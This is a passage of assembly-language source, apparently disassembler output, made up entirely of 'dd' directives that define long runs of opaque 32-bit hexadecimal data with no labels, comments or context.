		dd 0F6C87975h, 58F56629h, 1F541C60h, 67968F87h,	27047064h
		dd 86B26DBBh, 0E1CB8480h, 3F77001Fh, 0CDF526A6h, 0C0A3D2Eh
		dd 58BDC958h, 0A12DB580h, 6E23C002h, 0D0F34894h, 2B96C480h
		dd 8700EEE8h, 0ABFAFE83h, 1CAAC6E1h, 8021CB02h,	601846FDh
		dd 0F6008853h, 0B17E7A48h, 0B0ED32h, 7476B5C6h,	59AFC3Bh
		dd 0D85A150Fh, 382C0055h, 4F460A4Fh, 29A09069h,	0EE00AAF8h
		dd 0CDD333CBh, 16B8CEBh
		dd 87D0ECC0h, 3B219E0Ah, 0F626D8C8h, 1EEDF068h,	4092B717h
		dd 0D88E18DFh, 2000A77Ch, 31CD0111h, 937DE8h, 0A4803A17h
		dd 4C70C38h, 892200B0h,	187804BFh, 0B2E88A31h, 1FAA2ED4h
		dd 2AC27A00h, 4B6119h, 0ABB41BD5h, 0DA2F3B5Dh, 0A8C19D5Eh
		dd 0D23981h, 9A865173h,	3F140407h, 0A82048E0h, 3A6BA167h
		dd 9500495Bh, 0D6E49DA3h, 0E606C615h, 0F6BEA7B9h, 21406008h
		dd 0EED6CAFFh, 0E41D3EF0h, 32C4785Fh, 2404C5Bh,	8DE5CB64h
		dd 3F10BE00h, 0A8E8A20Fh, 0EA4700ACh, 0EB6C1CC1h, 0CD00CB68h
		dd 0A14492B4h, 63DA35Eh, 0E5149513h, 0C1F0489Bh, 10164F8h
		dd 49876138h, 8985920h,	66DA21A9h, 0BF3A6400h, 385FA677h
		dd 0A8070C44h, 0C9609A51h, 3183A445h, 0AD6F1CD8h, 3B50200Dh
		dd 3C0B8161h, 75C0A788h, 0EC1DD17h, 393E74BEh, 0AB980DC0h
		dd 0E05B78Eh, 0E8B8F357h, 0E02B04Fh, 3010981Bh,	77EE385Ah
		dd 8465C180h, 52EB2DF8h, 7100287Bh, 2C0383F3h, 0E70F5Fh
		dd 8C86D529h, 0C2615DDFh, 118EAD00h, 9047D345h,	2658F63Bh
		dd 2BC773h, 63D83967h, 1800409Bh, 9E26B214h, 0DE96D0h
		dd 0F523B1A9h, 39483B85h, 9C4AFD00h, 7D9BA1D5h,	0AC36381Ah
		dd 0EE801C3Eh, 0C0D60B02h, 0FB3F2F7Bh, 2E00F63Ch, 38CE5EF8h
		dd 0CD563Eh, 1D577828h,	831BB85Ch, 47399901h, 18666789h
		dd 0DA031480h, 31B3A3C2h, 0E66CBE00h, 3D9980A6h, 167000EBh
		dd 2317A03Fh, 671B0D4Ch, 0E11025A5h, 1880A4F7h,	0A3135A83h
		dd 8DFC58AAh, 35ABBC00h, 46B9760Ah, 9470F5h, 64ED169h
		dd 0C6CA3F98h, 0C540A500h, 0E1D9A17Bh, 0D1AC005Eh, 0CC81708Fh
		dd 0AE002E17h, 0D3155421h, 0B749FEh, 941F940h, 0FC95D09Dh
		dd 8A001AE4h, 6588EC07h, 0DA3BF1h, 0A4D552E4h, 92131FBEh
		dd 1A078AECh, 484AC9EFh, 0F0E03EC0h, 3C6C24EAh,	0BA0D0389h
		dd 1880F72Eh, 8600FAD5h, 7C6044D1h, 32B964h, 8C8059EFh
		dd 6715501h, 0A3FE207h,	0C03F0FE8h, 0AE56A831h,	135700ACh
		dd 711CC059h, 18C742ECh, 58D09DB4h, 39251877h, 2D81930Ch
		dd 0D91D2EC2h, 0A0F340CAh, 0AC00144Bh, 330C92A7h, 0D4845Fh
		dd 78029085h, 0D604FA5Eh, 8DEA418h, 0E0591870h,	811969F6h
		dd 4F2D1000h, 1000800Fh, 33FFE6A9h, 7CBD42Ah, 8B6CFD2Ch
		dd 0CA1B254h, 8E26D480h, 7400E5DDh, 2BDB4A5Ch, 30D81BF0h
		dd 7850957Fh, 5E03C647h, 0F4DF9BE9h, 54B93AFh, 3A2E8728h
		dd 0A1C0AF0Eh, 8E1AB6h,	6F7BFDC6h, 0D1D634A9h, 6E067A74h
		dd 87EDC29Ch, 0C4F23950h, 40292492h, 0AF722F20h, 7C0083B0h
		dd 88374745h, 0C099A108h, 386FD406h, 70E4F18h, 517175h
		dd 4539BEE6h, 0FB600049h, 0D5AFD45Ah, 8700BCE4h, 0A4BBF528h
		dd 97353D15h, 0B320BBC0h, 4551A300h, 0BCE07A95h, 0B2290028h
		dd 72BFDE7Eh, 0F20F1DD9h, 0E052084Dh, 70F8C66Ah, 8CCA5265h
		dd 0B859C09Fh, 177A54DCh, 5248D2E0h, 7E9F0718h,	87FEC563h
		dd 7C10669Ch, 3C18117h,	23B0F0FEh, 21905BBDh, 0F700EDA1h
		dd 0A254B601h, 0C838Eh,	0A5B47E42h, 32663117h, 6B78F717h
		dd 624C8700h, 12BA70FEh, 2E03808h, 0A674834Fh, 9405C42h
		dd 0C10096CAh, 0AFC93C94h, 2073A0h, 9E246B56h, 0A2882FF0h
		dd 0D5E0CC0Ah, 6E80B846h, 9BB8B709h, 0EE470094h, 0C00C84D4h
		dd 0ACE48F0Dh, 7585D48h, 7BA28BF6h, 80280AC0h, 0A7C500C1h
		dd 5C21AD9Eh, 5B004119h, 0EF547725h, 77F5E6B7h,	63E8007Ah
		dd 0DA3E6C04h, 0E901CF7h, 594F8D0Fh, 0F806DCC8h, 7F882608h
		dd 7AC900F3h, 5FB90C1h,	25147BCDh, 0EA8572Fh, 9DE243h
		dd 90368565h, 0B17D004Eh, 3091C96Bh, 430011E3h,	0CF1C2649h
		dd 380EA9CCh, 98F04CB0h, 847C0007h, 5D2F5752h, 54C2415h
		dd 0C91261Ch, 0B192641Eh, 0CD102A00h, 0A82785E0h, 189DC48Ch
		dd 2884DFD8h, 970310F3h, 0ADC1ACEDh, 770AD0F8h,	5857137Fh
		dd 0E99E0C26h, 1600B9F8h, 5BCF1F0Fh, 22F30F5h, 489EBFD2h
		dd 0C6C041A9h, 92030A15h, 49AB472Ah, 66C18811h,	53550329h
		dd 89DB704Ah, 0FF009CBh, 9000E147h, 7EDF4FE7h, 543812h
		dd 0F4E2A0F3h, 4826DEC6h, 5E3D4D00h, 89165286h,	76E7B83Bh
		dd 22F207C2h, 50C4859Ch, 94EA63D4h, 60F1CA00h, 9D874F07h
		dd 1EA21D33h, 8B9A40DBh, 0FCF9E08h, 4FEDD700h, 6C565526h
		dd 39A90057h, 96691361h, 9303E9DAh, 0FF5CCF67h,	92E3D0E0h
		dd 0C5F400EBh, 29609D24h, 3E00FA40h, 0A458A60Bh, 0A7DB5D2h
		dd 0A8E65BD8h, 0EFB200ACh, 421B0906h, 0EA99FF00h, 0B841A06Bh
		dd 170503E9h, 0D43C5719h, 0DBF054D3h, 4300F831h, 6D34014Bh
		dd 49A2F5Ah, 36208AA9h,	308F8740h, 1B5D50FFh, 6084C101h
		dd 69E6C4F8h, 3DA4F8h, 729A42C6h, 7A287CDh, 0B0645600h
		dd 2EF1285Eh, 8BDA0095h, 0E56C1676h, 310E6B3Fh,	7479D70h
		dd 0EFB0D449h, 1E781B1h, 979E2990h, 24F9D1E3h, 0C0009388h
		dd 0CE09AADCh, 4B216Eh,	0D40EE878h, 76EC0A7Dh, 5F034803h
		dd 3671C7Ch, 9B7B86F0h,	0CAC8460Fh, 0BC012681h,	7CBD476Ch
		dd 0C0309A90h, 8B3B04A0h, 80BA7A52h, 79D69B0Ch,	1F385A00h
		dd 25110562h, 0B4A6004Fh, 0A8812139h, 0AB00DB4Ch, 69E3DC83h
		dd 1992EFC7h, 184B94BDh, 6B4830AEh, 0A83F3524h,	5B3A0Fh
		dd 0FDDF0622h, 0D2820085h, 0E9BC50C7h, 8E3F59B4h, 9C4E983Dh
		dd 0E491FCh, 0B5F85BD1h, 9BC59AF5h, 0D970DC98h,	5275CD00h
		dd 1396B89Ch, 0F9CE001Ch, 3195B687h, 0F8A09FEFh, 0ED0B200Ah
		dd 222F18C9h, 0C8C11C14h, 0E8CFE6A4h, 0A3EA00F4h, 1576F6A9h
		dd 0F800A0F5h, 2A98D7B9h, 1284A446h, 518B5Fh, 953481E0h
		dd 0AD09BE29h, 0A169C890h, 0F660CCA8h, 890BCC3h, 57E06Eh
		dd 6EBFE89h, 7B17E11Eh,	42660B2Eh, 31C3CA03h, 0D994F014h
		dd 0C7F0156h, 58412B47h, 72408ED0h, 2A6A008Eh, 140B4948h
		dd 0F8D8A73Bh, 3B4A940h, 6909957Dh, 3EB72F74h, 0FEA71C80h
		dd 0B4A042CDh, 0FA2E88B2h, 6A0C9CF8h, 2A2078h, 0E986F52Eh
		dd 0F37BD858h, 32DBEB00h, 4308864h, 0E5C7035Eh,	5AE3FABDh
		dd 0C0AADFA9h, 27001699h, 50199576h, 0FA23AE40h, 0D4C90077h
		dd 0BECF8CECh, 1B00DD1Eh, 3C102BCBh, 0F2A2B526h, 45250040h
		dd 4288CF0Dh, 35001374h, 12C6AFDEh, 3A7804h, 0F3FB1D2Ch
		dd 8A0675F0h, 7983B4Ch,	8DE6837Bh, 1C9AA0BEh, 325D1Ah
		dd 0D77F2C61h, 752DBEF5h, 609A4D73h, 24EC7E02h,	0C0990654h
		dd 0F73E88h, 0EB09EB7h,	0C18C44D5h, 60A29F00h, 0E7EDA078h
		dd 43C700C2h, 6F830AA4h, 0D0BA621Ch, 57B883FDh,	38228260h
		dd 6F42B50h, 564ED7A1h,	0ED504874h, 0B901B2E0h,	0AABC6B9Ah
		dd 0A9700B1Ch, 4BF300BFh, 0FAF1FD71h, 870051F5h, 73A15385h
		dd 59427C34h, 13073839h, 0D09A253Bh, 61A863C2h,	0A308D909h
		dd 463C00A4h, 306B3632h, 66485BC0h, 0F2F49DEAh,	9EC16E00h
		dd 3AA60296h, 7ED8B80Bh, 8DBA000Ch, 38444082h, 6DEAAFCFh
		dd 1B668C0h, 6422AE0Ch,	4511175h, 394F68BBh, 7F9A6500h
		dd 9E00E418h, 0D0A9F5CAh, 3B2D5756h, 5887C25Eh,	70703A84h
		dd 0AB152220h, 6F7FDA00h, 0EFCF040Ah, 4B550EDCh, 0FD4014D2h
		dd 0C5D7DC2h, 9BBFEB04h, 0C480ABB3h, 64DA0BA5h,	0D0FA709Eh
		dd 0A4F1BF34h, 0F30332B0h, 47EB132Dh, 0FB9BA5h,	19D72221h
		dd 39679778h, 0F7058CB2h, 0BD0CDA1Bh, 46301440h, 2956E5h
		dd 7505BCF1h, 38AEC345h
		dd 4703FEECh, 83C16BFBh, 0E53BC840h, 39EC22h, 5605D98Ch
		dd 51D2A5F5h, 924ED500h, 0ECFCAA26h, 2D7DADh, 0EDDE46E3h
		dd 286A53Ah, 640763B0h,	0FEB34813h, 90E0CE13h, 0FECAD9FBh
		dd 92F60B33h, 23800B30h, 0B60C1787h, 0DF5F2E00h, 6BAC90Dh
		dd 0DA5A007Bh, 32524E34h, 8500EF3Ch, 174530A3h,	266746AAh
		dd 9B7023h, 1D22FD78h, 70C39DFh, 0F015FFC5h, 701B155Eh
		dd 0A7788871h, 4BB1C104h, 0AF108027h, 0FAE0B74Ah, 987E7416h
		dd 3C4E0B96h, 0E8808662h, 9ECE63B9h, 0E570AF19h, 3B105A29h
		dd 8B009C23h, 75C6F0C2h, 0EBD8314h, 0EED0ED52h,	0EAF88CA0h
		dd 21F2E6B9h, 0DF61C700h, 0F434682Dh, 3919EE62h, 28807537h
		dd 10144229h, 21058D17h, 785C0D54h, 26F6C8CCh, 967556h
		dd 7B705DEh, 5E002787h,	3BAEB973h, 738401DCh, 74D600CEh
		dd 1A7BA0F4h, 0F200A42Eh, 0EA8DAAEEh, 32F44D9h,	0E6BA3475h
		dd 283A715Dh, 0F3C18045h, 0FCE99CC7h, 0E803E8BDh, 0D2F50032h
		dd 0E7A60E33h, 0EE01C9BEh, 0BFD87E69h, 0A440A9DCh, 481888h
		dd 8AD5272Fh, 4933F2B1h, 39A55F00h, 0A6E0C41Ch,	7B8B1676h
		dd 0E1944525h, 0A88567h, 900C1089h, 2F0103EAh, 87C9A973h
		dd 0E0C7D758h, 1F7CFFh,	1B10C13Fh, 0E8DBAFF2h, 42239300h
		dd 9190AADh, 0A5D64CE5h, 0AA474800h, 0FF7495DAh, 612F3606h
		dd 50E8F6h, 33572CE9h, 7BD06875h, 69606A00h, 90C3B8E7h
		dd 0AE071F3Bh, 5095006Eh, 0A64D058Ah, 0D71F2100h, 0C59EE37h
		dd 5EEA4Eh, 0ED823AE1h,	3C14B54Ah, 27002490h, 1F40C5D4h
		dd 1417B8Eh, 506AB889h,	0DC73E376h, 0B77E1551h,	460EE8ECh
		dd 40E5FA75h, 0DF88E967h, 0DE420256h, 0BC3034F2h, 0DC005872h
		dd 85A849FDh, 0C52BA34Fh, 80551D8Ch, 0A67C205Ch, 0DE54A0C0h
		dd 66ECDAh, 70B7A4B3h, 0BEBAD64h, 0A22F0500h, 466E6FF2h
		dd 6DCE1302h, 0B1614022h, 497BB09Fh, 0D7A23C00h, 9E155356h
		dd 0AA540013h, 5021BF05h, 3901DDE2h, 411911E7h,	40EEA30Dh
		dd 0F2E9494h, 348CC9C7h, 0F09D6FA7h, 0D4AC5EE2h, 0E507901Ch
		dd 0C0BB003Dh, 31BA75E7h, 7D9170F6h, 6864003Dh,	7C0A3E78h
		dd 4D063C7Eh, 4A5A57BDh, 7480378h, 0C7319679h, 435480C4h
		dd 0BBF0702Eh, 917DE500h, 5CBDA23Bh, 0F1FA0CB6h, 9A384B08h
		dd 9C66EF02h, 81D9F9C2h, 60C82B9Ch, 0E84E8FCCh,	141F12DEh
		dd 68F80018h, 7FC104F7h, 63726603h, 0E831A4ECh,	3FDDC5BDh
		dd 5000DCFBh, 0BA24135Dh, 561D2041h, 0FF40A55Ch, 371CBC46h
		dd 0ED11C0B6h, 0AFE6DB9Ah, 0D87DF70Fh, 2C47D3FEh, 10F01FBBh
		dd 48B2663Bh, 800B08Ah,	0D021FB5Ah, 670081F9h, 0CB1FB761h
		dd 25F2594h, 0A4F5EEEAh, 8C40DC3Fh, 3D001557h, 4E842A78h
		dd 96DDC0C9h, 0A8B9B84Ch, 3194CA80h, 9CDE898Ch,	1868834Dh
		dd 4BE1F8EBh, 0FE70078h, 0A1EF5777h, 6D00FBCCh,	0B3893AF4h
		dd 62675Dh, 8F07405Ch, 126FE8Bh, 0F900A17Eh, 65E22BD6h
		dd 50A8CDDh, 8896EF91h,	3EB8563h, 0E4A2667h, 80E031DBh
		dd 0BC03DDF5h, 552A19A4h, 0C700E5DFh, 0FB3EC91Bh, 5FA3Dh
		dd 1D5C2003h, 0D0627AC4h, 0E70076E6h, 30EE0D96h, 73B2F1h
		dd 58A0E4E9h, 55E3A535h, 91775F0Ch, 7AD968h, 21E57F2h
		dd 830C1C8h, 390F7898h,	5CA99FB7h, 14957DC0h, 0DAA8FDh
		dd 46013B48h, 35262078h, 4932B900h, 4E74AB0Eh, 0BD3309D5h
		dd 28019727h, 38281F2Bh, 8CF300BCh, 20C08E92h, 89AE0343h
		dd 0D1D4EC07h, 8DB797E0h, 0A7DB227h, 9F3C4484h,	8F00F6DCh
		dd 85A29D08h, 482C009Ah, 6E7DE703h, 84E2C9E3h, 9D679F03h
		dd 8286107Fh, 18FA40BCh, 981B00EEh, 929C4625h, 6C04D102h
		dd 0A24C4D37h, 54885080h, 0C9521214h, 8138008Eh, 0E6CA589Bh
		dd 0BC10BD67h, 84465CD0h, 9A50009Eh, 328CA2ABh,	0AF034B39h
		dd 0CD73655Dh, 8F1EA0E5h, 7CB283h, 7B538856h, 0D9552C99h
		dd 48FC4500h, 0D7F3CB0Ah, 0B4DD0080h, 0BB8B3540h, 44B2C0E2h
		dd 0F2005373h, 6594FCBDh, 0F137Dh, 90D59311h, 0A6BFC13Ch
		dd 0B2EF3201h, 0B902E122h, 0DDC420h, 83430F3h, 97CF1737h
		dd 5ADE7300h, 7D3D7A2Fh, 73A47ACBh, 9D59008Dh, 0FFD0D755h
		dd 9B0096B2h, 19E76DBCh, 1E8665Bh, 5D79C4AFh, 0D0A99A35h
		dd 697CCF40h, 0FF39EE7Eh, 8A3B0296h, 61C26809h,	4880D13Dh
		dd 4247BECFh, 0D7005ED0h, 0B5712FC4h, 540F8DBAh, 0AD88EAh
		dd 6EB0EF61h, 0A5BED928h, 0C7748479h, 57114C00h, 5D3279B7h
		dd 0BAAA00F7h, 3074687Dh, 0F558BD10h, 543100A7h, 0D0B57838h
		dd 22B301ECh, 862060A4h, 0DBB8E417h, 87A9040Fh,	611A2E5Eh
		dd 336C9BB9h, 0A31E0428h, 92820CDBh, 0AB809311h, 0D7164175h
		dd 5C6EC0C4h, 0BC00DAEAh, 0B60BA9D0h, 386110Eh,	47139F6Ch
		dd 3D88289Dh, 2A183A52h, 0A438A2F7h, 0ADE8F9h, 0E663B708h
		dd 738252D7h, 4BE27000h, 0A8972917h, 23B6003Dh,	1A279562h
		dd 82128F75h, 2893E4BCh, 38A4F498h, 0DA730CBFh,	5A8A30Fh
		dd 9745A50Ah, 0D4241075h, 9B8FB00h, 2E16C20Ch, 79082EAh
		dd 0DB8C71C6h, 0D25DDC83h, 24A0C0ADh, 37399F01h, 0A72200DDh
		dd 0B3392032h, 4196003Bh, 0BEAA61A8h, 757FF0D4h, 0B5A5EC00h
		dd 5C69AC19h, 0A3F3008Ah, 0F013CD9Eh, 0ED01FACFh, 0B2FDBBE7h
		dd 91812D1Bh, 5566312Bh, 467ED042h, 16D04A03h, 905BA94Ch
		dd 295178h, 2507C73Dh, 13600CB6h, 0FA9E2A05h, 8009AF85h
		dd 651848C8h, 0CE860BE0h, 2A000BF6h, 3A2DAE5h, 0CCA3FD03h
		dd 0E81098AAh, 3C076204h, 7500C66Fh, 9EBF460Eh,	17075ACEh
		dd 27136CB2h, 1ED0E18Fh, 80800DD6h, 44996A0h, 2E00FE08h
		dd 0D0A624FBh, 213A387h, 3C1B7D4Bh, 545081AFh, 46081713h
		dd 0E81F2C12h, 0BC706200h, 7C83E57h, 0A2129EF6h, 202240B5h
		dd 8B1FE7A3h, 0B3C07247h, 7B50FCC5h, 0D34E0C7Eh, 64194528h
		dd 0AC0D3F0Fh, 9ABF2036h, 0C943E6h, 3E74E5CEh, 2D3F6F79h
		dd 8FDD8303h, 80C30A05h, 201FB853h, 174CC21Ch, 1E800F00h
		dd 0DB36874Bh, 3964381h, 1D644E0h, 0F58B22F1h, 0A6B433CFh
		dd 55002358h, 0E8B1BC58h, 6E670701h, 808D5BFFh,	0C3CA0566h
		dd 560628DFh, 0C185ABBh, 0ACB87560h, 8A067C99h,	0E1024F11h
		dd 6FF268h, 0DD78BACEh,	1F458D7Dh, 823F901Eh, 0B4E2C900h
		dd 0C01ECFF8h, 1F260C81h, 0B1008CA4h, 5A98FAB9h, 183E7DB8h
		dd 18D62356h, 8648CF62h, 0E34507AAh, 7F826384h,	679480AEh
		dd 0F6B466A3h, 886A00C9h, 17E5B33Dh, 0EF30E64Fh, 0A6ED9101h
		dd 60FE8482h, 0F398E550h, 0FB270914h, 1D0C0CC0h, 46AFE85Bh
		dd 3859DA50h, 2C1374h, 2923BF18h, 6F2BE66Ch, 0CC884EB8h
		dd 2A60AE67h, 0EB7F4518h, 0F0DB81DCh, 9CA2F402h, 3896C055h
		dd 0D01D0C1Bh, 0D6E0DF2Fh, 74E9101Fh, 0A3D74F45h, 0D0208801h
		dd 2098CF3Bh, 874F03Eh,	7A30B5E8h, 0FC1E114Ah, 6BEB032Ch
		dd 5D4EFDE7h, 0BCD8092Ah, 2C047E00h, 8DE4DA59h,	15360EFBh
		dd 0B9C111C3h, 851E641Fh, 0A6524DA0h, 66198040h, 72DE2F0Dh
		dd 0BCE336E8h, 0BB467880h, 0E92C1602h, 0FA31F76Bh, 2CFE8010h
		dd 79D29D0Bh, 0B9DC00DCh, 0A03D9F7Fh, 0A411D0h,	0B0F9DAA5h
		dd 3390922h, 0F55B1700h, 125AE49h, 57C90073h, 0FE908B75h
		dd 0B33F19D3h, 0B580E045h, 0E27A7ECDh, 48EA0017h, 0B813C1F0h
		dd 5D007307h, 4234792Ch, 0B07D91h, 820465A8h, 753ACB31h
		dd 18EA6400h, 0AE37B4F3h
		dd 10F29Fh, 274E5817h, 8DF7A43Bh, 0B9005E76h, 0DAEC05BBh
		dd 0B0ABCFD5h, 0C5A800F3h, 0A63D5A77h, 1C00166Ch, 0B40A334h
		dd 3A0BB79h, 7FAEBECEh,	0A9A07820h, 9776BF21h, 92B03503h
		dd 74338440h, 10F81830h, 0BCBB1050h, 0B628C200h, 24CBC817h
		dd 0EA2C0045h, 0F8820619h, 0B20FE838h, 0F92DBB32h, 0BD08A429h
		dd 44040E44h, 0CA44BEE7h, 7D4284C0h, 97086021h,	84FC9054h
		dd 0CC4A7399h, 14ED143Ch, 0AD22847Bh, 0F109FB70h, 10941253h
		dd 3489073Ch, 0BA75510h, 0C23EADF6h, 0D17D0031h, 0DC3A2B38h
		dd 5D0003Dh, 27E479F5h,	0D8008CE1h, 99C50AADh, 0A115DEh
		dd 0C0F2F4F0h, 7DE352C2h, 54EA9502h, 0C0A90936h, 0B274Bh
		dd 375E0733h, 0F463FFB5h, 24B75F58h, 6100E2F2h,	0D47BB46Fh
		dd 0B70F0070h, 12438EEDh, 491D28B3h, 27019B20h,	694E3AE9h
		dd 2BD1CC40h, 5704123Fh, 0BBC900BAh, 4C2A3DEBh,	0DE4F7000h
		dd 3F592DA4h, 0C0E2E0h,	0B7417AE6h, 9065ED56h, 0E3B43800h
		dd 913A8A89h, 72F02Ah, 4048D65Ch, 7FB7A306h, 8724E500h
		dd 7EC17D17h, 0F1CA00F5h, 0E9C09B11h, 340EAE1Bh, 20E2F25Ah
		dd 0DB2DE16h, 0D26801B9h, 0C867C4Bh, 3B109D2Eh,	2CDCF80h
		dd 7E509AB8h, 38927Fh, 2C1A0466h, 236BAD31h, 0EC5BD300h
		dd 630E58E5h, 253F07C6h, 0C0517739h, 0B3822469h, 84EC38h
		dd 0DF5CBF74h, 3868B5h,	0AA33B9C7h, 9A1BA0C4h, 1E46600h
		dd 927DE7ACh, 614F021Fh, 52FCE212h, 70AA7448h, 0D4758100h
		dd 3F4EEFA0h, 1BEE0AE1h, 8B6E13h, 60E54C4Fh, 8107427Bh
		dd 994BC75Fh, 9769EF70h, 3F97D29h, 0F6E0D2B4h, 51F06F46h
		dd 400C5A0h, 28B7B640h,	110B8Bh, 8DF020ADh, 0E8DAD291h
		dd 0C353C000h, 97B0584h, 0F3E505D5h, 40EFAEDFh,	0B2C957DCh
		dd 3614AB8Dh, 3BA0EBB1h, 541980BCh, 9C28DCF4h, 0AEF0071Eh
		dd 0C1393E81h, 0D895D192h, 3801AC6Ch, 0D555EDD0h, 8CE11CA7h
		dd 5C0D98DCh, 3600215Eh, 0B434B6ADh, 797A3864h,	9200D17Ch
		dd 109C8F53h, 0BC2391h,	84E283E1h, 5B2D4B32h, 729D350Ah
		dd 0D3009C8Ah, 0ABB90AACh, 0EB3D0016h, 0F4DF66A1h, 51E67B92h
		dd 0B8478800h, 8B709F9Dh, 0D1260EA8h, 6D0043AEh, 6CF55360h
		dd 0E0EA4701h, 0F837C10Eh, 0A086C4h, 0EB4B1F52h, 889A215Fh
		dd 670F3B1Ch, 0A7ACBF00h, 1B0DC09Ch, 0A11F376Ah, 3ABD9DD0h
		dd 0F9B9F00h, 9842F4ABh, 0DBF00DDh, 0DF8064C6h,	6D00AA35h
		dd 0AD1662FBh, 0E2A13B1Ch, 0DB5C3D68h, 1108324h, 829D7ED2h
		dd 15118038h, 7ABE0C7Bh, 73C63885h, 4C438800h, 2207F369h
		dd 3044E604h, 60803F6Bh, 1F854AA2h, 4078F65Eh, 0BCAD3720h
		dd 56004506h, 1BF88329h, 179C7DBh, 9C755E41h, 82C8A3BBh
		dd 3344B810h, 0FD24480Bh, 4D7D3BB6h, 0C8196F82h, 3C602746h
		dd 0C9004ADBh, 1E23CC06h, 5842786Ch, 0AA00F507h, 14657637h
		dd 0BF0E9535h, 60809AAEh, 5EC1C505h, 0C194C69h,	880CB93Ah
		dd 11E07917h, 7AC9D800h, 0CB79BA6h, 39CEFE47h, 0E905E042h
		dd 8074E2BAh, 892799FCh, 0D320AA00h, 17B556BCh,	42260028h
		dd 1D69BA0Ah, 906AACE9h, 0BB00CA50h, 290E3DF6h,	4F6F282Eh
		dd 9DB20790h, 90B9E81Fh, 52AC4114h, 8074ED3Fh, 6515BDF8h
		dd 81D9AFh, 7C92F096h, 438550F3h, 7841E400h, 4D58EAD2h
		dd 2789303Ah, 0AB60B990h, 0A3617D00h, 83707B47h, 4B5009Dh
		dd 0EB95AFCEh, 1C002B88h, 39A31091h, 38506Ch, 9BCE65A2h
		dd 0A844335Ah, 0E5139509h, 0F61300DDh, 24C61EFh, 428FC785h
		dd 0C080F3A9h, 210DAE82h, 0A78D4E00h, 0FA93B333h, 0F9E10028h
		dd 6D6FC555h, 5770BBCEh, 3142B50Bh, 0B4870011h,	0FDD117h
		dd 0E44B766Bh, 0F1ED1019h, 0FBFE7E7Bh, 6C7BE3F6h, 300C98F0h
		dd 10E4D3F2h, 0ABC40045h, 0D0FCA60Eh, 823DD53Ch, 5EBC80EDh
		dd 0FF9248CAh, 0C09087h, 2E1A03CEh, 0BC321749h,	0BE0021F8h
		dd 6D74B3E8h, 0A16DAC5h, 8A4C0DD8h, 0BB16F8h, 0DB67580Ch
		dd 8F00B313h, 47890E1Ch, 8CDEFFh, 777041B7h, 87330A35h
		dd 16A7E309h, 1974078Eh, 670F40B4h, 0CDD23Dh, 9E8A385Ch
		dd 2D0085B8h, 975BA15Ch, 60FCDCh, 6B988850h, 0E0BE63C4h
		dd 478AC318h, 0ECD6A9h,	811D0A1Fh, 0B7AA9590h, 8FAC8506h
		dd 28E110h, 0F8F002ECh,	37D71730h, 23F2010Eh, 0C688A04Fh
		dd 89A6D8h, 4A192725h, 0E89554FAh, 66455D00h, 58C4216h
		dd 370D0F52h, 0BC845E2Eh, 84E4C015h, 700F68E6h,	0C7907A9Ah
		dd 0CE72CB57h, 3FAE8034h, 76F94462h, 5B850161h,	7F67F590h
		dd 0E777E8A5h, 364E7A07h, 8F05A824h, 41ADC008h,	80E58742h
		dd 5F201190h, 74416C53h, 4C4FEE2h, 7C6AF081h, 4797C0A9h
		dd 0D1013862h, 993756D7h, 3834D307h, 769C4889h,	62C4FE00h
		dd 0BE02571Eh, 7A7FBC00h, 0DB5ED921h, 9FFA48h, 38C610B4h
		dd 3EFE6C85h, 40AA8403h, 0F114D472h, 0D053177Ah, 611BB035h
		dd 88F0F6h, 2327BF45h, 0F50EAF3Ah, 8570C00h, 76D418ACh
		dd 52F230EEh, 0BE2E4B10h, 0EBDBA000h, 7170E214h, 394B01Ch
		dd 7A0F7FCEh, 58D0C6CDh, 8C003A8Bh, 3F69F947h, 0EFBB0Eh
		dd 74C0A999h, 0F312F87Eh, 0CCF26000h, 0FF2D8457h, 0FC800FCEh
		dd 0F780E270h, 0F99C62C0h, 1A641300h, 0CEF82716h, 5A6500F2h
		dd 1FBFE6EAh, 0CF0E0133h, 0C0A09A80h, 0DA326903h, 8FE21FC1h
		dd 20007CF4h, 7C760EFh,	1903842Bh, 5F9FC55Bh, 80139828h
		dd 0F86500A4h, 0AF513C6Dh, 26009571h, 750A9EB5h, 5CA3745Bh
		dd 7C6C53h, 7E7061F1h, 0F5674243h, 8415400h, 0DC47AA99h
		dd 29392494h, 176C006Ch, 69C3D5A9h, 309E6E02h, 4042EE0Fh
		dd 0CD35990h, 0CE11532Fh, 0BC000122h, 0EF6CC74Ch, 349FC71h
		dd 4A10D19h, 98C0B8DCh,	0F50E5406h, 0A0EDE1C9h,	0F8ECD542h
		dd 59BF004Eh, 4676839h,	0BC00A90Ah, 0ED57C5E7h,	25BB060h
		dd 0DB6B7FC8h, 78E0BFCCh, 0E60010BBh, 0B5B2F314h, 790E57CEh
		dd 0F060164Eh, 0F5F800F2h, 53F87D80h, 0FEDC9217h, 0B6B72807h
		dd 1CFA1550h, 12B101D5h, 3426A06Dh, 0BAB87032h,	6E23F00h
		dd 0EC6309ACh, 3C4700BBh, 0B8E330BDh, 0D4005556h, 4334BE83h
		dd 16B232ABh, 7E6178Eh,	0C095DDFFh, 0D79BB8CAh,	70193100h
		dd 68B6EEF7h, 0F42400C8h, 416575CEh, 0C0002EB1h, 2BAC0708h
		dd 0D6E86444h, 912B0730h, 0C4E38058h, 0F005401h, 52607A5Eh
		dd 1E4CD4F2h, 2CE4BD59h, 993F00E8h, 870E0D13h, 1B1D2E00h
		dd 2F319463h, 0BE4201C5h, 9CA23B81h, 24C3F0C7h,	50C09577h
		dd 0F109F9CEh, 0C8CC0068h, 4B63FF8Eh, 0C009B435h, 4060FD9Bh
		dd 0B38914h, 10BAC7B0h,	0FC8DC6B9h, 4EF31500h, 85DE6594h
		dd 45D0007Ch, 261A733Eh, 2A1C9019h, 6CA68E11h, 0D3E66E03h
		dd 0C4A00C36h, 44597566h, 98833580h, 8E9D0714h,	143614FCh
		dd 5484F4h, 5FF2D5D4h, 0E400C893h, 95CA7B80h, 54A972h
		dd 0E64D6E09h, 81704658h, 0FD00C37Ah, 65B166AFh, 0FD24F7E3h
		dd 0C9F06880h, 53E7CE43h, 8DC44F00h, 1B68A0Ch, 6C17030Ah
		dd 880E7C26h, 29BD6DD8h, 0D98C1500h, 0ABCAE38h,	434D0050h
		dd 41C76382h, 0AA00DCC6h, 162A22BDh, 0B1C07D46h, 0B1A28B48h
		dd 4D4A020h, 0E20038C2h, 299B25DBh, 0A0C8E826h,	283488h
		dd 77091D27h, 3FC95DFDh, 257FF726h, 0F967802h, 2E8480EAh
		dd 0E61863Ch, 0EBA021C2h, 1D9A95A0h, 0FD738916h, 9202B316h
		dd 0B908CD01h, 68709CC3h
